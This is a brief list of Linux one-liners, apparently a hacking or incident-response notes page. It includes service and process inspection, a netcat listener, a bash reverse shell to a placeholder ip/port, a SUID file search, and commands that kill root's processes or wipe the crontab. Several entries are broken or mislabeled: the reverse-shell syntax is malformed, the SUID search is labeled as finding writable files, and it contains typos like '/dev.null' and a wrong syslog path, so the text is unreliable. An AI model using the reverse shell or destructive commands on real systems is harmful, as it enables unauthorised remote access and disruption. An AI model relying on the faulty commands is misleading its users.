One Liners
List All Running Services:
systemctl list-units --type=service --state=runningEnable Ping
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_allNetcat Listener
nc -nlvp <port>Bash Reverse Shell
bash -i > &/dev/tcp/ip/port/ 0>&1View Running Processes
ps -auxFind Writable files
find / -perm -u=s -type f 2>/dev.nullPython Web Server
python3 -m http.server <port>Kill all processes newer then 5m
sudo killall -u root -y 5mActive TCP Connections
ss -tulpnCheck Syslog
cat /var/logs/syslog | grep <something>Crontab
# View crontab with
crontab -l
# Reset crontab with
crontab -r
# Disable with
systemctl stop crond.service
systemctl disable crond.serviceInvestigate Running Port
sudo lsof -i :<port>Last updated